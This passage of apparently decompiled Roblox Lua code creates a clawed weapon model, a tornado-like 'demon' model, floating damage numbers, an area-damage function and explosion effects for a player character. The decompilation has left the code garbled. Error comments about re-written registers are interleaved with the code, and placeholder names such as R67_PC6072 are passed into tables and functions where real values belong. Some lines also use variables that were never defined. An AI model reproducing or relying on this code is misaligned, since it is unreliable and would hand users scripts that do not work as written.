  1008. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  1009. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  1010. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  1011. Claw.Touched:Connect(Damage_OnTouch)
  1012. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  1013. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  1014. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  1015. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  1016. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  1017. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  1018. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  1019. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  1020. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  1021. Shard.Touched:Connect(Damage_OnTouch)
  1022. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  1023. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  1024. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  1025. Shard.Touched:Connect(Damage_OnTouch)
  1026. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  1027. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  1028. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  1029. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  1030. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  1031. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  1032. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  1033. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  1034. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  1035. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  1036. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  1037. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  1038. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  1039. Claw.Touched:Connect(Damage_OnTouch)
  1040. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  1041. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  1042. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  1043. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  1044. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  1045. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  1046. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  1047. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  1048. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  1049. Claw.Touched:Connect(Damage_OnTouch)
  1050. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  1051. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  1052. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  1053. Shard.Touched:Connect(Damage_OnTouch)
  1054. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  1055. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  1056. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  1057. Shard.Touched:Connect(Damage_OnTouch)
  1058. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  1059. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  1060. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  1061. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  1062. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  1063. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  1064. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  1065. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  1066. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  1067. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  1068. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  1069. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  1070. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  1071. Claw.Touched:Connect(Damage_OnTouch)
  1072. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  1073. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  1074. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  1075. Shard.Touched:Connect(Damage_OnTouch)
  1076. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  1077. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  1078. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  1079. Shard.Touched:Connect(Damage_OnTouch)
  1080. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  1081. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  1082. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  1083. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  1084. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  1085. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  1086. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  1087. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  1088. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  1089. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  1090. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  1091. local CBlade = {}
  1092. local CBladeWelds = {}
  1093. for _,c in pairs(m:children()) do
  1094. if c.className == "Part" then
  1095. table.insert(CBlade, R67_PC6072)
  1096. end
  1097. end
  1098. for _,c in pairs(m:children()) do
  1099. if c.className == "Weld" then
  1100. table.insert(CBladeWelds, R67_PC6072)
  1101. end
  1102. end
  1103. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  1104.  
  1105. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  1106.  
  1107. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  1108. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  1109.  
  1110. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  1111.  
  1112. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  1113. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  1114. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  1115. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  1116. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  1117. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  1118. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  1119. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  1120. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  1121. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  1122. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  1123. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  1124. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  1125. local DBlade = {}
  1126. local DBladeWelds = {}
  1127. for _,c in pairs(demon:children()) do
  1128. if c.className == "Part" then
  1129. table.insert(DBlade, c)
  1130. end
  1131. end
  1132. for _,c in pairs(demon:children()) do
  1133. if c.className == "Weld" then
  1134. table.insert(DBladeWelds, c)
  1135. end
  1136. end
  1137. demon.Parent = nil
  1138.  
  1139. paly = game.Players.LocalPlayer
  1140. char = paly.Character
  1141. torso = char.Torso
  1142. neck = char.Torso.Neck
  1143. hum = char.Humanoid
  1144. Player = game:GetService("Players").LocalPlayer
  1145. local mouse = Player:GetMouse()
  1146. Character = Player.Character
  1147. tors = Character.Torso
  1148. lleg = Character["Left Leg"]
  1149. root = Character.HumanoidRootPart
  1150. hed = Character.Head
  1151. rleg = Character["Right Leg"]
  1152. rarm = Character["Right Arm"]
  1153. larm = Character["Left Arm"]
  1154. local Effects = {}
  1155. attack = false
  1156. vt = Vector3.new
  1157. bc = BrickColor.new
  1158. br = BrickColor.random
  1159. it = Instance.new
  1160. cf = CFrame.new
  1161. euler = CFrame.fromEulerAnglesXYZ
  1162. angles = CFrame.Angles
  1163. matr = math.random
  1164. local basiccooldown = math.huge
  1165. local ultcooldown = math.huge
  1166. local secondcooldown = math.huge
  1167. local thirdcooldown = math.huge
  1168.  
  1169. local boll = Instance.new("Part",game.Lighting)
  1170. boll.Transparency = 0.5
  1171. boll.Material = "Neon"
  1172. boll.BrickColor = tors.BrickColor
  1173. boll.Anchored = true
  1174. boll.Size = vt(1,1,1)
  1175. boll.Shape = "Ball"
  1176. boll.CanCollide = false
  1177.  
  1178. local shur = Instance.new("Part",game.Lighting)
  1179. shur.Transparency = 0
  1180. shur.Material = "Neon"
  1181. shur.BrickColor = tors.BrickColor
  1182. shur.Anchored = true
  1183. shur.Size = vt(5,0.2,5)
  1184. shur.CanCollide = false
  1185. local Meshshur = Instance.new("CylinderMesh",shur)
  1186.  
  1187.  
  1188. local boll = Instance.new("Part",game.Lighting)
  1189. boll.Transparency = 0.5
  1190. boll.Material = "Neon"
  1191. boll.BrickColor = bc("Bright red")
  1192. boll.Anchored = true
  1193. boll.Size = vt(1,1,1)
  1194. boll.Shape = "Ball"
  1195. boll.CanCollide = false
  1196.  
  1197. local shur = Instance.new("Part",game.Lighting)
  1198. shur.Transparency = 0
  1199. shur.Material = "Neon"
  1200. shur.BrickColor = bc("Bright red")
  1201. shur.Anchored = true
  1202. shur.Size = vt(5,0.2,5)
  1203. shur.CanCollide = false
  1204. local Meshshur = Instance.new("CylinderMesh",shur)
  1205.  
  1206. showDamage=function(Char,Dealt,du,Color)
  1207. m=Instance.new("Model")
  1208. m.Name=tostring(Dealt)
  1209. h=Instance.new("Humanoid")
  1210. h.Health=0
  1211. h.MaxHealth=0
  1212. h.Parent=m
  1213. c=Instance.new("Part")
  1214. c.Transparency=0
  1215. c.Material = "Neon"
  1216. c.BrickColor=bc("New Yeller")
  1217. c.Name="Head"
  1218. c.TopSurface=0
  1219. c.BottomSurface=0
  1220. local tick = Instance.new("Sound",c)
  1221. tick.SoundId = "rbxassetid://12221976"
  1222. tick.Volume = 5
  1223. tick.Pitch = 4
  1224. tick:Play()
  1225. c.formFactor="Plate"
  1226. c.Size=Vector3.new(1,.4,1)
  1227. ms=Instance.new("CylinderMesh")
  1228. ms.Scale=Vector3.new(.8,.8,.8)
  1229. if CRIT==true then
  1230. ms.Scale=Vector3.new(1,1.25,1)
  1231. end
  1232. ms.Parent=c
  1233. c.Reflectance=0
  1234. Instance.new("BodyGyro").Parent=c
  1235. c.Parent=m
  1236. if Char:findFirstChild("Head")~=nil then
  1237. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1238. elseif Char.Parent:findFirstChild("Head")~=nil then
  1239. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1240. end
  1241. f=Instance.new("BodyPosition")
  1242. f.P=2000
  1243. f.D=100
  1244. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1245. f.position=c.Position+Vector3.new(0,3,0)
  1246. f.Parent=c
  1247. game:GetService("Debris"):AddItem(m,.5+du)
  1248. c.CanCollide=false
  1249. m.Parent=workspace
  1250. c.CanCollide=false
  1251. p:Destroy()
  1252. end
  1253.  
  1254. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1255. for _, c in pairs(workspace:children()) do
  1256. local hum = c:findFirstChild("Humanoid")
  1257. if hum ~= nil then
  1258. local head = c:findFirstChild("Torso")
  1259. if head ~= nil then
  1260. local targ = head.Position - Part.Position
  1261. local mag = targ.magnitude
  1262. if mag <= magni and c.Name ~= Player.Name then
  1263. Damage_OnTouch(Hit)
  1264. end
  1265. end
  1266. end
  1267. end
  1268. end
  1269.  
  1270. function Explode(rad,par)
  1271. local expart = Instance.new("Part",script.Parent)
  1272. local expart2 = Instance.new("Part",script.Parent)
  1273. local partMesh = Instance.new("SpecialMesh",expart)
  1274. partMesh.MeshType = "Sphere"
  1275. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1276. partMesh2.MeshType = "Sphere"
  1277. local expld = Instance.new("Explosion", script.Parent)
  1278. local plode = Instance.new("Sound",expart)
  1279. plode.SoundId = "rbxassetid://165970126"
  1280. plode.Volume = 1
  1281. plode.Pitch = 1
  1282. plode.Looped = false
  1283. plode:Play()
  1284. expld.BlastRadius = rad
  1285. expld.Position = par.Position
  1286. partMesh.Scale = vt(rad,rad,rad)
  1287. expart.Size = vt(1,1,1)*1.5
  1288. expart.Transparency = 0
  1289. expart.Anchored = true
  1290. expart.Material = "Neon"
  1291. expart.BrickColor = bc("White")
  1292. expart.CFrame = par.CFrame
  1293. partMesh2.Scale = vt(rad,rad,rad)
  1294. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1295. expart2.Transparency = 0.5
  1296. expart2.Anchored = true
  1297. expart2.Material = "Neon"
  1298. expart2.BrickColor = bc("New Yeller")
  1299. expart2.CFrame = par.CFrame
  1300. local value = 1*rad/6.5
  1301. par:Destroy()
  1302. for i = 0, 100 do
  1303. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1304. expart.CFrame = expart.CFrame
  1305. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1306. expart2.CFrame = expart.CFrame
  1307. value = value - 0.035*rad/6.5
  1308. if value < 1 then
  1309. value = 0.25
  1310. expart.Transparency = expart.Transparency + 0.025
  1311. expart2.Transparency = expart2.Transparency + 0.025
  1312. end
  1313. wait()
  1314. end
  1315. plode.Parent = nil
  1316. expart.Parent = nil
  1317. expart2.Parent = nil
  1318. expld.Parent = nil
  1319. end
  1320.  
  1321. function ExplodeMass(rad,par)
  1322. local expart = Instance.new("Part",script.Parent)
  1323. local expart2 = Instance.new("Part",script.Parent)
  1324. local partMesh = Instance.new("SpecialMesh",expart)
  1325. partMesh.MeshType = "Sphere"
  1326. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1327. partMesh2.MeshType = "Sphere"
  1328. local expld = Instance.new("Explosion", script.Parent)
  1329. local plode = Instance.new("Sound",workspace)
  1330. plode.SoundId = "rbxassetid://579687077"
  1331. plode.Volume = 1
  1332. plode.Pitch = 0.85
  1333. plode.Looped = false
  1334. plode:Play()
  1335. local plodez = Instance.new("Sound",workspace)
  1336. plodez.SoundId = "rbxassetid://288641686"
  1337. plodez.Volume = 1
  1338. plodez.Pitch = 0.75
  1339. plodez.Looped = false
  1340. plodez:Play()
  1341. local plodeza = Instance.new("Sound",workspace)
  1342. plodeza.SoundId = "rbxassetid://197161452"
  1343. plodeza.Volume = 0.85
  1344. plodeza.Pitch = 0.65
  1345. plodeza.Looped = false
  1346. plodeza:Play()
  1347. local plodezar = Instance.new("Sound",workspace)
  1348. plodezar.SoundId = "rbxassetid://197161452"
  1349. plodezar.Volume = 0.85
  1350. plodezar.Pitch = 0.25
